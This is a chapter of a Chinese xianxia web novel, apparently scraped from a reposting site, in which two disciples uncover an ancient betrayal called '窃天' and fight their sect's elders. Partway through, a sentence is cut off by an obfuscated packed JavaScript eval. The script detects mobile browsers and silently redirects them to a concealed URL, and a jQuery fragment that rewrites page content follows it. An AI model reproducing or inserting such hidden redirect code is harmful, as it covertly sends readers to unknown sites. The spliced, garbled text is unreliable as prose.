11.窃天

作品:《每天都想干掉伪天道

    就在两人目光聚焦于这块染血玉简的刹那,一个苍老疲惫的声音在空间中响起,带着无尽的悲悯和一丝几乎察觉不到的期待:


    “后来者......”


    “尔等既已窥见罪孽之影,嗅到血腥之气,此简......”


    “承亡者未绝之念,载生者难偿之债。”


    “触之,因果加诸汝身,前方非坦途,乃绝壁深渊;真相非救赎,乃更酷烈之刑罚。”


    “然,入此间者,承运天命,去伪存真。”


    “今,以血为鉴,以魂为问:尔等,可敢直视骄阳下森森白骨,质问青云间累累功勋?”


    声音回荡在死寂的议事厅,轻如鸿毛,却又重若千钧。


    沈晏时望向江见初,她的侧脸在火光中沉静平和,眼里却跳动着决绝的火星。


    他知道,自己眼中闪着同样的光芒,多年潜藏,此刻终于有了进展。


    但这进展背后,却还有一双看不见的大手在推动着。


    沉默只持续了一息,江见初的手坚定地握住了那块染血的玉简,几乎同时,沈晏时另一只手也覆了上去。


    那声音叹息了一声,如释重负般道:“望尔等......走得比吾等更远。”


    话音落下,两人手中那枚染血的玉简微微发烫,逐渐清晰的字样浮现出来,只因玉简残损,只能窥见“四族盟约,其心各异”、“天地将倾,人族弱小”、“以妖魔......换取一线生机”。


    “此计,名为,‘窃天’。”沈晏时从齿缝中挤出这几个字,每个音节都带着血沫的味道,眼中猩红一片。


    他原以为那只是先祖与友人的私仇,却未曾想是一场以他族尸骨为台阶的宏大背叛。


    沈晏时耳中一片嗡鸣,仿佛先祖未尽的怒吼与悲泣,正顺着这块染血的玉简,轰然涌入他的四肢百骸。


    滔天的恨意与荒谬冲垮了他的理智,这一刻,连身旁这个他曾觉得“不同”的人族,也让他多了几分怨怼。


    他猛地抽回覆盖在江见初手背上的手,动作之大,甚至带起了一丝风声,那与他相触的指节,此刻俨然化作了烧红的烙铁。


    这一刻,连身旁这个他曾觉得“不同”的人族,她的存在本身,都像是在无声复述着玉简上那句“以妖魔换取一线生机”。


    江见初的手因他的动作猛地一晃,她抬眸,正好撞见他眼中未来得及完全收敛的冰冷而尖锐的恨意与排斥。


    他眼中的情绪过于明显,那是面对灭族的刽子手时从血脉深处涌上的恨意。


    这一刻,沈晏时地牢中刻意的避嫌、赵元辰的指控、极北之地的过往......所有的线索都在此刻贯通,对于他身份的猜测,答案已昭然若揭。


    但她没有解释,也无法解释。


    种族的隔阂与历史的血海横亘其中,任何言语都显得苍白无力。


    纵然她并非人族,却也是这个场景中冰冷的旁观者,甚至可能是后来的参与者,以及现在的既得利益者。


    江见初垂下眼睫,指尖轻抚过腰间那枚精巧的银铃,铃身冰凉,却传来一丝熟悉又细微的灵力波动,仿佛有一道目光,正跨越千山万水,在担忧地凝视着她,企图通过这银铃给她带来些许安慰。


    她心道:“原来如此,也只有这等动摇世界本源的罪行,才需要编制出一个延续千年的谎言来掩盖。”


    只是......若只是事关人族窃命,仙族为何默许,甚至参与编织这弥天大谎?


    此举,是为窃命,为何称为窃天?


    我与生俱来的仙骨,与这场所谓的窃天,又有何关联?


    地动山摇的轰鸣自脚下传来,整个归寂林都在剧烈震颤。


    江见初与沈晏时几乎同时自扶椅上站起来,一切猜疑、震惊、悲愤甚至是恨意都在剧烈颤动的冲击下消散。


    他们等不及三天,在强行破阵!


    没有时间整理心绪,外敌已至,此战,关乎生死。


    沈晏时五指收拢,将那块染血的玉简残片死死攥入手心,仿佛要将那冰冷的罪证也烙进自己的骨髓。


    朔明剑铮铮然出鞘,发出低沉的嗡鸣。


    江见初没有与沈晏时争夺那玉简残片的归属,她闭目深吸了一口气,将方才的种种压入心底。


    出乎沈晏时意料的,江见初并未在指尖蓄起灵力,也没有祭出符篆,她只是抬起右手,并指如剑,向右轻划。


    紧接着一道清冽而古老的剑吟在殿中响起,那声音,并非普通剑鸣,更像是冰河初裂,凤啼九霄。


    一柄剑顺着她指尖划过的痕迹缓缓从虚空中生长出来。


    剑身晶莹剔透,似由最纯粹的月华与最泠冽的寒潭水汽凝就,形制古朴简雅,无鞘无穗,唯有剑柄处隐约有流转不息的云纹,像被封印的星河,连其上篆刻的“归尘”二字也带着独有的味道。


    周遭因强行破阵而狂暴紊乱的灵气,骤然一静,就连朔明剑的悲鸣,也仿佛被一只无形的手轻轻抚平。


    沈晏时目光轻颤,这是她第一次拔剑。


    他侧目望去,只见江见初挺直的背影,和那柄与她气质浑然一体的古剑。


    她依旧穿着天衍宗制式的白袍,可此刻沈晏时却恍然觉得,她与这个宗门,与这身白衣所代表的一切,隔着一条无法逾越的深渊。


    方才自己对她的迁怒与怨怼,更像是对她的亵渎。


    “走。”她只说了一个字,却仿若千言万语。


    沈晏时咽下方才心神激荡时咬破舌尖溢出的血沫,他快步上前,与她并肩,声音沙哑:“师姐,你的剑,很配你。”


    江见初没有回应,只是将目光投向甬道尽头,厚重的青石们正在发出不堪重负的呻吟,细密的裂纹像蛛网般蔓延。


    “轰!”


    一声巨响,碎裂的石门裹挟着汹涌的灵力乱流向二人劈头盖脸砸来。


    飞扬的尘土后,是丹阳长老铁青的脸,和风寻长老意味深长的双眸,以及数十位宗门弟子结出的杀阵。


    这些弟子江见初并不陌生,大多数都是她在巡查处的同僚,换言之,他们几乎都是丹阳长老的心腹。


    故而剑阵杀意凛然,每个人脸上都带着鄙夷与憎恶,再无一丝迟疑。


    丹阳长老锐利的眸子扫过江见初与沈晏时,最终死死钉在江见初手上那柄从未示人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112406|195395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的剑上,不受掌控的情形让他整个人戾气更重。


    “江见初,”他压抑的声音里是藏不住的愤怒,“你手中是何物?!盗窃宗门至宝,该当何罪?!”


    江见初没理他毫无根据又前后矛盾的话语,轻笑一声,手腕翻转,剑尖斜指地面,周身泄出恐怖的威压。


    丹阳长老不自觉后退半步,难以置信地望着眼前这个与印象中完全不同的人,“结阵!拿下这两个叛徒!”


    话音未落,沈晏时足尖一点,飞身滑向侧后方一根玉柱后,几乎同时,他方才站立之处出现三道几寸深的沟壑。


    沈晏时眉梢一挑,“你们就只会这些偷袭的阴损招数吗?我倒是高看你们了。”


    “杀了他们!”有弟子历喝。


    紧接着,剑阵光芒大盛,数十道剑气织就成一张天罗地网,朝着二人笼罩而下。


    江见初素手轻挥,动作轻得不似退敌,更像是拂去了琴弦上的一粒微尘。


    下一瞬,一道清冽的剑气从归尘剑中溢出,以她为中心扩散成月华般的圆弧形光幕。


    那月华般的光幕不带半分的杀伐之气,然而所及之处,那些由剑气织就的天罗地网,却从边缘开始逐渐褪色虚化,最终归于一片虚无。


    仿佛那些凌厉的攻击从未曾存在,沈晏时呆呆地注视着视线中心的人,一刹间,他竟觉得方才地上被剑气斩出的沟壑都消弭了。


    出招的弟子眼中惊骇交加,他们从没见过如此举重若轻,却又匪夷所思的化解方式。


    丹阳长老震惊不已,这绝非元婴后期该有的实力,也绝非天衍宗应有的招式技法。


    这人竟能在他眼皮底下隐藏这么深!


    然而只一息,凝聚出更重杀意的剑网再次袭来,这一次,却是绕开江见初直愣愣朝着沈晏时袭去。


    沈晏时冷哼一声,当他是软柿子么?


    朔明剑从沈晏时手中射出,穿过剑网,直冲运转阵法的弟子而去。


    朔明剑随沈晏时心念而动,专挑剑阵运转关键节点的弟子袭击,几名弟子闷哼着踉跄后退,剑网也瞬间消散。


    沈晏时凑到江见初身边,与她并肩而立。


    还未来得及交流,便见源源不断的宗门弟子从甬道尽头涌入,无尽的白袍翻涌,已将他们彻底围困其中。


    更麻烦的是,江见初瞥见丹阳长老掌中托出一块古朴繁复的印鉴,她目光微怔:


    那是,能调动护宗大阵力量的信物!


    硬闯,倒是能杀出一条血路,但那也意味着,归尘剑在天衍宗第一次出鞘,就要沾上昔日同门的鲜血。


    后面涌入的弟子与方才结剑阵的不一样,他们中不乏圆脸小师妹那样心软善良的纯粹之人,也有曾与他们勾肩搭背笑骂的好友。


    沈晏时面色同样难看,握着朔明剑的手青筋暴起,这些人算起来也是他的血仇,多背几条人命也无妨,可江见初……


    想到此处,他侧目看向身旁的人,只见她表情依旧沉静,只是呼吸比平时快了两分,本就苍白的脸色比寻常又淡了一分,想来方才对她消耗也不小。


    她眉宇微蹙,指尖正悄然抚上微微颤动的银铃。